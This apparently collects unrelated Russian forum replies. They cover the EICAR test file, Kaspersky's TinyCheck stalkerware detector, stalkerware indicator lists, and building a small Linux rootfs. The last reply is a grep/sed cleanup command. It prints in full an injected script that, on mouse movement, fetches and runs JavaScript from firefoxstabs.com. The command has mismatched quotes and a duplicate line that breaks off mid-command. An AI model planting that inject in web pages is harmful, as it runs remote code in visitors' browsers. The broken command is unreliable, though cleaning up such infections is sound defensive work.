ValdikSS

https://en.wikipedia.org/wiki/EICAR_test_file

У Лаборатории Касперского есть ПО для обнаружения шпионов (stalkerware) путём анализа трафика.
https://github.com/KasperskyLab/TinyCheck

Обновляемые списки индикаторов есть на https://github.com/AssoEchap/stalkerware-indicators

Можете собрать rootfs через buildroot, используя uclibc, ну и ядро, buildroot это все умеет. Можете взять openwrt, но он больше для роутеров как-то, но пакетов там много. Можете archlinux или gentoo попробовать, но сложно будет это упаковать меньше, чем в 100мб.

grep -H 'firefoxstabs' ./ -R | cut -d: -f1 | xargs sed -i «s/document.write('<scr'+'ipt src=\»https:\/\/ajax.googleapis.com\/ajax\/libs\/jquery\/1.5.1\/jquery.min.js\"><\/scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http:\/\/firefoxstabs.com\/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});//g"
grep -H 'firefoxstabs' ./ -R | cut -d: -f1 | xargs sed -i «s/